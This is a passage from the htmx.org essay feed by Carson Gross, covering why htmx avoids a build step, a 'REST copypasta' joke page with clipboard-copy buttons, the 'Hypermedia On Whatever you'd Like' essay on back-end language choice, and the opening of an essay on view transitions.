&lt;p&gt;TypeScript is a strict superset of JavaScript, and some of the features it adds are very useful. TypeScript has… types, which make your &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;grugbrain.dev&#x2F;#grug-on-type-systems&quot;&gt;IDE better at suggesting code&lt;&#x2F;a&gt; and pointing out where you might have used methods incorrectly. The tools for automatically renaming and refactoring code are much more reliable for TypeScript than they are for JavaScript. The htmx code does have to be written in JavaScript, though, because browsers run JavaScript. And &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tc39&#x2F;proposal-type-annotations&quot;&gt;as long as JavaScript is dynamically typed&lt;&#x2F;a&gt;, the tradeoffs required to get true static typing in the htmx source are not worth it (htmx &lt;em&gt;users&lt;&#x2F;em&gt; can still take advantage of typed APIs, declared with &lt;code&gt;.d.ts&lt;&#x2F;code&gt; files).&lt;&#x2F;p&gt;
&lt;p&gt;Future versions of htmx might use JSDoc to get some of the same guarantees without the build step. Other libraries, like &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sveltejs&#x2F;svelte&#x2F;pull&#x2F;8569&quot;&gt;Svelte&lt;&#x2F;a&gt;, have been trending in this direction as well, in part due to the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=35892250&quot;&gt;debugging friction&lt;&#x2F;a&gt; that TypeScript files introduce.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;no-es6&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#no-es6&quot; aria-label=&quot;Anchor link for: no-es6&quot;&gt;No ES6&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Because htmx maintains support for Internet Explorer 11, and because it does not have a build step, every line of htmx has to be written in IE11-compatible JavaScript, which means no &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;262.ecma-international.org&#x2F;6.0&#x2F;&quot;&gt;ES6&lt;&#x2F;a&gt;. When people like me say that JavaScript is pretty good now, they are usually referring to language features that were introduced with ES6, like &lt;code&gt;async&#x2F;await&lt;&#x2F;code&gt;, anonymous functions, and functional array methods (i.e. &lt;code&gt;.map&lt;&#x2F;code&gt;, &lt;code&gt;.forEach&lt;&#x2F;code&gt;)—none of which can be used in the htmx source.&lt;&#x2F;p&gt;
&lt;p&gt;While this is incredibly annoying, in practice it is not a huge impediment. The lack of some nice language features doesn’t prevent you from writing code with functional paradigms. Would it be nice not to write a custom &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;htmx&#x2F;blob&#x2F;b4a61c543b283eb2315a47708006783efb78f563&#x2F;src&#x2F;htmx.js#L375-L381&quot;&gt;forEach method&lt;&#x2F;a&gt;? Of course. But until all the browsers targeted by htmx support ES6, it’s not hard to supplement ES5 with a few helper functions. If you are used to ES6, you will automatically write better ES5.&lt;&#x2F;p&gt;
&lt;p&gt;IE11 support is going to be dropped in htmx 2.0, at which point ES6 will be allowed in the source code.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;no-modules-in-core&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#no-modules-in-core&quot; aria-label=&quot;Anchor link for: no-modules-in-core&quot;&gt;No modules in core&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;This point is obvious, but it’s worth re-stating: the htmx source would be a lot tidier if it could be split it into modules. There are other factors that affect code quality &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.steveonstuff.com&#x2F;2022&#x2F;01&#x2F;27&#x2F;no-such-thing-as-clean-code&quot;&gt;besides tidiness&lt;&#x2F;a&gt;, but to the extent that the htmx source is high-quality, it is not because it is tidy.&lt;&#x2F;p&gt;
&lt;p&gt;This makes doing certain things with htmx very difficult. The &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;idiomorph&quot;&gt;idiomorph algorithm&lt;&#x2F;a&gt; might be included in the htmx 2.0 core, but it’s also maintained as a separate package so that people can use the DOM-morphing algorithm without using htmx. If the core could include multiple files, one could easily accomplish this with any number of mirroring schemes, such as git submodules. But the core is a single file, so the idiomorph code will have to live there as well.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;final-thoughts&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#final-thoughts&quot; aria-label=&quot;Anchor link for: final-thoughts&quot;&gt;Final Thoughts&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;This essay might be better titled “Why htmx Doesn’t Have a Build Step &lt;em&gt;Right Now&lt;&#x2F;em&gt;.” As previously mentioned, circumstances change and these tradeoffs can be revisited at any time! One issue we’re exploring at the moment has to do with releases. When htmx cuts releases, it uses a few different shell commands to populate the &lt;code&gt;dist&lt;&#x2F;code&gt; directory with minified and compressed versions of &lt;code&gt;htmx.js&lt;&#x2F;code&gt; (pedants are welcome to point out that this is obviously, in some sense, a build step). In the future, we might expand that script to auto-generate the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;umdjs&#x2F;umd&quot;&gt;Universal Module Definition&lt;&#x2F;a&gt;. Or we might have new distribution needs that require an even more involved setup. Who knows!&lt;&#x2F;p&gt;
&lt;p&gt;One of the core values of htmx is that it gives you &lt;em&gt;choice&lt;&#x2F;em&gt; in a web development ecosystem that has for the last decade been dominated by an increasingly complex JavaScript stack. Once you no longer have an enormous codebase of frontend JavaScript, there is far less pressure to adopt JavaScript on the backend. You can write backends in Python, Go, even Node.js, and it doesn’t matter to htmx—every mainstream language has mature solutions for formatting HTML. This is the principle of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-on-whatever-youd-like&#x2F;&quot;&gt;Hypermedia On Whatever you’d Like (HOWL)&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Writing JavaScript with no build process is one of the options available to you once you no longer require Next.js or SvelteKit to manage the spiraling complexity of SPA frameworks. That choice makes sense for htmx development today, and it may or may not make sense for your app too.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>REST Copypasta</title>
        <published>2023-06-26T00:00:00+00:00</published>
        <updated>2023-06-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/rest-copypasta/"/>
        <id>https://htmx.org/essays/rest-copypasta/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/rest-copypasta/">&lt;h2 id=&quot;rest-copy-pastas&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#rest-copy-pastas&quot; aria-label=&quot;Anchor link for: rest-copy-pastas&quot;&gt;REST copy-pastas&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;ackshually&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#ackshually&quot; aria-label=&quot;Anchor link for: ackshually&quot;&gt;Ackshually…&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;div style=&quot;font-family: monospace&quot;&gt;
&lt;p&gt;I’d just like to interject for a moment.  What you’re referring to as REST,
is in fact, JSON&#x2F;RPC, or as I’ve recently taken to calling it, REST-less.
JSON is not a hypermedia unto itself, but rather a plain data format made
useful by out of band information as defined by swagger documentation or
similar.&lt;&#x2F;p&gt;
&lt;p&gt;Many computer users work with a canonical version of REST every day,
without realizing it.  Through a peculiar turn of events, the version of REST
which is widely used today is often called “The Web”, and many of its users are
not aware that it is basically the REST-ful architecture, defined by Roy Fielding.&lt;&#x2F;p&gt;
&lt;p&gt;There really is a REST, and these people are using it, but it is just a
part of The Web they use.  REST is the network architecture: hypermedia encodes the state
of resources for hypermedia clients. JSON is an essential part of Single Page Applications,
but useless by itself; it can only function in the context of a complete API specification.
JSON is normally used in combination with SPA libraries: the whole system
is basically RPC with JSON added, or JSON&#x2F;RPC.  All these so-called “REST-ful”
APIs are really JSON&#x2F;RPC.&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;button _=&quot;on click
             get the innerText of the previous &lt;div&#x2F;&gt;
             then writeText(the result) with the navigator&#x27;s clipboard
             put &#x27;Copied!&#x27; into the next &lt;output&#x2F;&gt;
             wait 2s
             put &#x27;&#x27; into the next &lt;output&#x2F;&gt;&quot;&gt;
Copy
&lt;&#x2F;button&gt;
&lt;button _=&quot;on click
             get the innerText of the previous &lt;div&#x2F;&gt;
             get result.split(&#x27;\n&#x27;).map( \ l -&gt; &#x27;  &#x27; + l ).join(&#x27;\n&#x27;)
             then writeText(the result) with the navigator&#x27;s clipboard
             put &#x27;Copied for HN!&#x27; into the next &lt;output&#x2F;&gt;
             wait 2s
             put &#x27;&#x27; into the next &lt;output&#x2F;&gt;&quot;&gt;
Copy For HN
&lt;&#x2F;button&gt;
&lt;output&gt;&lt;&#x2F;output&gt;
&lt;br&#x2F;&gt;
&lt;h2 id=&quot;l0-t0-the-c-0thtrkhr&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#l0-t0-the-c-0thtrkhr&quot; aria-label=&quot;Anchor link for: l0-t0-the-c-0thtrkhr&quot;&gt;l໐, t໐ thē ¢໐ຖtrคrฯ&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;div style=&quot;font-family: monospace&quot;&gt;
&lt;p&gt;In a world of digital wonder, allow me to take a moment to clarify. What many name as REST is, in truth, JSON&#x2F;RPC, or as
I’ve lately begun to refer to it, the REST-less. JSON is not a magical script unto itself, but rather a simple parchment
of data made meaningful by wisdom from unseen sources, shaped by the likes of the Swagger tomes and their ilk.&lt;&#x2F;p&gt;
&lt;p&gt;Countless keepers of the code interact with a revered form of REST each day, oblivious to its presence. Through an
unexpected twist of fate, the interpretation of REST most commonly employed today is frequently dubbed “The Web”, and
many of its inhabitants are unaware that they are, in essence, dwelling within the architectural dominion of REST, as
laid out by the sage Roy Fielding.&lt;&#x2F;p&gt;
&lt;p&gt;Indeed, there exists a true REST, and these individuals are making use of it, but it is merely a facet of The Web they
engage with. REST is the great network architecture: hypermedia inscribes the state of resources for the hypermedia
voyagers. JSON is a vital element of Single Page Applications, yet worthless in solitude; it can only exhibit its power
within the realm of a comprehensive API specification. JSON is typically deployed in alliance with SPA libraries: the
entire realm is fundamentally RPC embellished with JSON, or JSON&#x2F;RPC. All these entities hailed as “REST-ful” APIs are
in actuality, the embodiment of JSON&#x2F;RPC.&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;button _=&quot;on click
             get the innerText of the previous &lt;div&#x2F;&gt;
             then writeText(the result) with the navigator&#x27;s clipboard
             put &#x27;Copied!&#x27; into the next &lt;output&#x2F;&gt;
             wait 2s
             put &#x27;&#x27; into the next &lt;output&#x2F;&gt;&quot;&gt;
Copy
&lt;&#x2F;button&gt;
&lt;button _=&quot;on click
             get the innerText of the previous &lt;div&#x2F;&gt;
             get result.split(&#x27;\n&#x27;).map( \ l -&gt; &#x27;  &#x27; + l ).join(&#x27;\n&#x27;)
             then writeText(the result) with the navigator&#x27;s clipboard
             put &#x27;Copied for HN!&#x27; into the next &lt;output&#x2F;&gt;
             wait 2s
             put &#x27;&#x27; into the next &lt;output&#x2F;&gt;&quot;&gt;
Copy For HN
&lt;&#x2F;button&gt;
&lt;output&gt;&lt;&#x2F;output&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Hypermedia On Whatever you&#x27;d Like</title>
        <published>2023-05-23T00:00:00+00:00</published>
        <updated>2023-05-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/hypermedia-on-whatever-youd-like/"/>
        <id>https://htmx.org/essays/hypermedia-on-whatever-youd-like/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/hypermedia-on-whatever-youd-like/">&lt;blockquote&gt;
&lt;p&gt;The one big remaining (advantage of MPAs) is (server side programming) language choice. If you’re already part of the
anti-JavaScript resistance, then nothing I say in the rest of this talk is going to matter that much.&lt;&#x2F;p&gt;
&lt;p&gt;But, I’m going to get into this later: that ship might have sailed…&lt;&#x2F;p&gt;
&lt;p&gt;Rich Harris - &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;youtubetranscript.com&#x2F;?v=860d8usGC0o&amp;amp;t=440&quot;&gt;Have SPA’s Ruined The Web?&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;A concept we like to talk about is “The HOWL Stack”.  HOWL stands for &lt;em&gt;Hypermedia On Whatever you’d Like&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This is a joke-but-not-really &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Solution_stack&quot;&gt;software stack&lt;&#x2F;a&gt;, and a reference to more
well known stacks like &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;LAMP_%28software_bundle%29&quot;&gt;The LAMP Stack&lt;&#x2F;a&gt;
or &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;MEAN_(solution_stack)&quot;&gt;The MEAN Stack&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The TLDR of The HOWL Stack is this: when you use a &lt;a href=&quot;&#x2F;essays&#x2F;hypermedia-driven-applications&quot;&gt;hypermedia-driven approach&lt;&#x2F;a&gt;
for your web application, you free yourself up to choose &lt;em&gt;whatever&lt;&#x2F;em&gt; server-side technology best fits your problem and
your own technical tastes.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;feeling-the-javascript-pressure&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#feeling-the-javascript-pressure&quot; aria-label=&quot;Anchor link for: feeling-the-javascript-pressure&quot;&gt;Feeling The JavaScript Pressure&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;If you decide to use an SPA framework for your web application you will, naturally, have a large front-end codebase
that is written in JavaScript.&lt;&#x2F;p&gt;
&lt;p&gt;Given that, the following question inevitably will come up:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;“Well, why aren’t we doing the back-end in JavaScript too?”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This is a reasonable question to ask and there are a lot of advantages to adopting the same programming language on both
sides of the wire:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;You can share application logic between the two code-bases.  A good example here is validation logic.&lt;&#x2F;li&gt;
&lt;li&gt;You can share data structures between the two code-bases.&lt;&#x2F;li&gt;
&lt;li&gt;You can build up expertise in a single language, JavaScript, making it easier for developers to work in various parts
of your application.&lt;&#x2F;li&gt;
&lt;li&gt;You can reuse the build system &amp;amp; dependency management knowledge you’ve acquired for the front end&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;This &lt;em&gt;pressure&lt;&#x2F;em&gt; to adopt JavaScript will only grow as your investment in the JavaScript front end ecosystem grows.&lt;&#x2F;p&gt;
&lt;p&gt;Furthermore, JavaScript has improved dramatically in the last five years and there are now multiple excellent
server-side runtimes for executing it.  Many of the older arguments about the messiness of the language can be
waved off as preventable via linting, developer discipline, and so forth.&lt;&#x2F;p&gt;
&lt;p&gt;JavaScript is the dominant language among the web development thought leaders and there are massive numbers of tutorials,
code camps, etc. that strongly emphasize the language.  Nothing succeeds like success, and JavaScript (as well as React)
have succeeded.&lt;&#x2F;p&gt;
&lt;p&gt;Let’s call the result of this &lt;em&gt;The JavaScript Pressure&lt;&#x2F;em&gt; and acknowledge that nearly every developer working with the
web feels it at least to some extent.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hypermedia-our-only-hope&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#hypermedia-our-only-hope&quot; aria-label=&quot;Anchor link for: hypermedia-our-only-hope&quot;&gt;Hypermedia: Our Only Hope&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;What hope do non-JavaScript developers have in web development?&lt;&#x2F;p&gt;
&lt;p&gt;Well, there is one older technology sitting there in the browser alongside JavaScript: &lt;em&gt;hypermedia&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Browsers offer excellent HTML support (and the related Document Object Model, or DOM).  In fact, even if you are using an
SPA framework, you will be working with that hypermedia infrastructure in some form (via JSX templates, for example) if
only to create UIs that a browser can understand.&lt;&#x2F;p&gt;
&lt;p&gt;So you are going to be using HTML or the related DOM APIs in some manner in your web application.&lt;&#x2F;p&gt;
&lt;p&gt;Well, what if we made HTML a more powerful hypermedia?&lt;&#x2F;p&gt;
&lt;p&gt;That’s the idea of &lt;a href=&quot;&#x2F;&quot;&gt;htmx&lt;&#x2F;a&gt;, which makes it possible to implement &lt;a href=&quot;&#x2F;examples&quot;&gt;common modern web application patterns&lt;&#x2F;a&gt;
using the hypermedia approach.  This closes the UX gap between traditional MPAs and SPAs, making taking the hypermedia
route feasible for a much larger set of web applications.&lt;&#x2F;p&gt;
&lt;p&gt;Once you adopt this hypermedia approach (and remember, you are going to be using hypermedia infrastructure &lt;em&gt;anyway&lt;&#x2F;em&gt;,
so why not leverage it as much as possible?) a surprising side effect occurs:&lt;&#x2F;p&gt;
&lt;p&gt;Suddenly, the advantage of server-side language choice that Harris attributed to MPAs is &lt;em&gt;back on the table&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;If your application’s front end is mainly written in terms of HTML, maybe with a bit of client-side scripting,
and with no large JavaScript code-base, you’ve suddenly dramatically diminished (or entirely eliminated) The JavaScript
Pressure on the back end.&lt;&#x2F;p&gt;
&lt;p&gt;You can now make your server-side language (and framework) choice based on other considerations: technical, aesthetic or
otherwise:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Perhaps you are working in AI and want to use a Lisp variant for your project&lt;&#x2F;li&gt;
&lt;li&gt;Perhaps you are working in big data and want to use Python&lt;&#x2F;li&gt;
&lt;li&gt;Perhaps you know Django really well and love the batteries-included approach it takes&lt;&#x2F;li&gt;
&lt;li&gt;Perhaps you prefer Flask and the stripped-down approach it takes&lt;&#x2F;li&gt;
&lt;li&gt;Perhaps you like the raw, close-to-the-HTML feel of PHP&lt;&#x2F;li&gt;
&lt;li&gt;Perhaps you have an existing Java codebase that needs some sprucing up&lt;&#x2F;li&gt;
&lt;li&gt;Perhaps you are learning Cobol, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;htmx_org&#x2F;status&#x2F;1656381761188954113&quot;&gt;and want to use htmx to make a nice front end for it&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;Perhaps you just really like Rust, Ocaml, Kotlin, Haskell, .NET, Clojure, Ada, ColdFusion, Ruby… whatever!&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;These are all perfectly reasonable technical, philosophical and aesthetic perspectives.&lt;&#x2F;p&gt;
&lt;p&gt;And, by adopting hypermedia as your primary front-end technology, you pursue any of these goals without a bicameral
code-base. Hypermedia doesn’t care what you use to produce it: you can use hypermedia on whatever you’d like.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;an-open-web-for-everyone&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#an-open-web-for-everyone&quot; aria-label=&quot;Anchor link for: an-open-web-for-everyone&quot;&gt;An Open Web for Everyone&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;And when we say “whatever”, we really mean it.&lt;&#x2F;p&gt;
&lt;p&gt;Here is a screenshot of the &lt;a href=&quot;&#x2F;discord&quot;&gt;htmx discord&lt;&#x2F;a&gt;’s HOWL subsection recently.  Note that these are just the channels
that happen to have active traffic, there are many more.&lt;&#x2F;p&gt;
&lt;div style=&quot;text-align: center; padding: 16px&quot;&gt;
&lt;img src=&quot;&#x2F;img&#x2F;howl-channels.png&quot; alt=&quot;Django, alpine, bash, clojure, cobol,
  deno, dotnet, go, java, node, ocaml, php, ruby, rust -- all active.&quot;&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;You can see we have ongoing conversations in a bunch of different programming languages and frameworks: Java, Go, .NET,
Rust, Clojure, PHP, Ruby, Python, Ocaml.  We even have some folks talking about using htmx with Bash and Cobol!&lt;&#x2F;p&gt;
&lt;p&gt;This is exactly the future that we want to see: a rich and vibrant Web in which &lt;em&gt;every&lt;&#x2F;em&gt; back-end language and framework
can play as an equal &amp;amp; interesting alternative. Each language and framework has their own unique strengths &amp;amp; cultures and
each can contribute to the magical &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hypermedia.systems&quot;&gt;hypermedia system&lt;&#x2F;a&gt; that is The Web.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;but-is-it-an-anti-javascript-resistance&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#but-is-it-an-anti-javascript-resistance&quot; aria-label=&quot;Anchor link for: but-is-it-an-anti-javascript-resistance&quot;&gt;But, Is it An &lt;em&gt;Anti&lt;&#x2F;em&gt;-JavaScript Resistance?&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Before we finish this essay, we do want to address the idea that the resistance to JavaScript &lt;em&gt;everywhere&lt;&#x2F;em&gt; is necessarily
&lt;em&gt;Anti&lt;&#x2F;em&gt;-JavaScript.&lt;&#x2F;p&gt;
&lt;p&gt;Now, admittedly, we have laughed at our fair share of &lt;a href=&quot;&#x2F;img&#x2F;js-the-good-parts.jpeg&quot;&gt;jokes about JavaScript&lt;&#x2F;a&gt;, and we have
gone so far as to create an alternative scripting language for the web, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hyperscript.org&quot;&gt;hyperscript&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;So it might seem like we should be card-carrying anti-javascriptites.&lt;&#x2F;p&gt;
&lt;p&gt;But, to the contrary, we are deeply appreciative of JavaScript.&lt;&#x2F;p&gt;
&lt;p&gt;After all, both htmx and hyperscript are &lt;em&gt;built in JavaScript&lt;&#x2F;em&gt;.  We couldn’t have created these libraries without
JavaScript, which, whatever else one might say, has the great virtue of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Being_There&quot;&gt;&lt;em&gt;being there&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;And we even go so far as to &lt;em&gt;recommend using&lt;&#x2F;em&gt; JavaScript for front-end scripting needs in a hypermedia-driven
application, so long as you script in a &lt;a href=&quot;&#x2F;essays&#x2F;hypermedia-friendly-scripting&#x2F;&quot;&gt;hypermedia-friendly&lt;&#x2F;a&gt; way.&lt;&#x2F;p&gt;
&lt;p&gt;Further, we wouldn’t steer someone away from using JavaScript (or TypeScript) on the &lt;em&gt;server side&lt;&#x2F;em&gt; for a
hypermedia-driven application, if that language is the best option for your team.  As we said earlier, JavaScript now
has multiple excellent server-side runtimes and many excellent server-side libraries available.&lt;&#x2F;p&gt;
&lt;p&gt;It might be the best option for you and your team, and there is no reason not to use it in that case.&lt;&#x2F;p&gt;
&lt;p&gt;Hypermedia On Whatever you’d Like means just that: whatever you’d like.&lt;&#x2F;p&gt;
&lt;p&gt;But JavaScript is not, and it should not be, the &lt;em&gt;only&lt;&#x2F;em&gt; server-side option for your team.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;turning-the-ship-around&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#turning-the-ship-around&quot; aria-label=&quot;Anchor link for: turning-the-ship-around&quot;&gt;Turning The Ship Around&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;With the resurgence of interest in (and improvements of) hypermedia, an open and diverse future for The Web is now a
real possibility, if not an emerging reality.&lt;&#x2F;p&gt;
&lt;p&gt;The Web was designed to be an open, polyglot &amp;amp; participative hypermedia system.&lt;&#x2F;p&gt;
&lt;p&gt;And the ship &lt;em&gt;hasn’t sailed&lt;&#x2F;em&gt; on that dream, at least not yet!&lt;&#x2F;p&gt;
&lt;p&gt;We can keep that dream alive by re-learning and re-embracing the foundational technology of the web: hypermedia.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;I hate that the htmx community has devolved into builders helping each other without regard for likes, engaging
those who don’t follow the hype, expanding sound bytes into nuance. It may not score cheap social media points, but
it’s healthy. The web used to be worse than this.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;teej_dv&#x2F;status&#x2F;1655668643840098304&quot;&gt;@teej_dv&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>View Transitions</title>
        <published>2023-04-11T00:00:00+00:00</published>
        <updated>2023-04-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/view-transitions/"/>
        <id>https://htmx.org/essays/view-transitions/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/view-transitions/">&lt;p&gt;We have asserted, for a while now, that a major reason that many people have adopted the SPA architecture for web applications
is due to aesthetic considerations.&lt;&#x2F;p&gt;
&lt;p&gt;As we mention in our book &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hypermedia.systems&quot;&gt;Hypermedia Systems&lt;&#x2F;a&gt;, when
discussing the Web 1.0-style contact management application we begin with, there are serious &lt;em&gt;aesthetic&lt;&#x2F;em&gt; issues with
the application, even if it has feature-parity with an SPA version:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;From a user experience perspective: there is a noticeable refresh when you move between pages of the application, or when you create, update or
delete a contact. This is because every user interaction (link click or form submission) requires a full page
refresh, with a whole new HTML document to process after each action.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;–Hypermedia Systems - &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hypermedia.systems&#x2F;extending-html-as-hypermedia&#x2F;&quot;&gt;Chapter 4&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This jarring “ka-chunk” between webpages, often with a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;webkit.org&#x2F;blog&#x2F;66&#x2F;the-fouc-problem&#x2F;&quot;&gt;Flash of Unstyled Content&lt;&#x2F;a&gt;
has been with us forever and, while modern browsers have improved the situation somewhat (while, unfortunately, also making
it less obvious that a request is in flight) the situation is still bad, particularly when compared with what a well-crafted
SPA can achieve.&lt;&#x2F;p&gt;
&lt;p&gt;Now, early on in the life of the web, this wasn’t such a big deal. We had stars flying around dinosaurs &lt;em&gt;in the browser’s toolbar&lt;&#x2F;em&gt;,
flaming text, table-based layouts, dancing babies and so forth, and we were largely comparing the web with things like
ftp clients.&lt;&#x2F;p&gt;
&lt;p&gt;The bar was &lt;em&gt;low&lt;&#x2F;em&gt; and the times were &lt;em&gt;good&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Alas, the web has since put away such childish things, and now we are expected to present polished, attractive interfaces
to our users, &lt;em&gt;including&lt;&#x2F;em&gt; smooth transitions from one view state to another.&lt;&#x2F;p&gt;
&lt;p&gt;Again, we feel this is why many teams default to the SPA approach: the old way just seems… clunky.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;css-transitions&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#css-transitions&quot; aria-label=&quot;Anchor link for: css-transitions&quot;&gt;CSS Transitions&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The early web engineers realized that web developers would like to provide smooth transitions between different view states
and have offered various technologies for achieving this. A major one is &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;CSS&#x2F;transition&quot;&gt;CSS Transitions&lt;&#x2F;a&gt;,
which allow you to specify a mathematical &lt;em&gt;transition&lt;&#x2F;em&gt; from one state to another.&lt;&#x2F;p&gt;
&lt;p&gt;Unfortunately for HTML, CSS transitions are only available if you use JavaScript: you have to change elements dynamically
in order to trigger the transitions, which “vanilla” HTML can’t do. In practice, this meant that only the cool kids
using JavaScript to build SPAs got to use these tools, further cementing the &lt;em&gt;aesthetic superiority&lt;&#x2F;em&gt; of SPAs.&lt;&#x2F;p&gt;
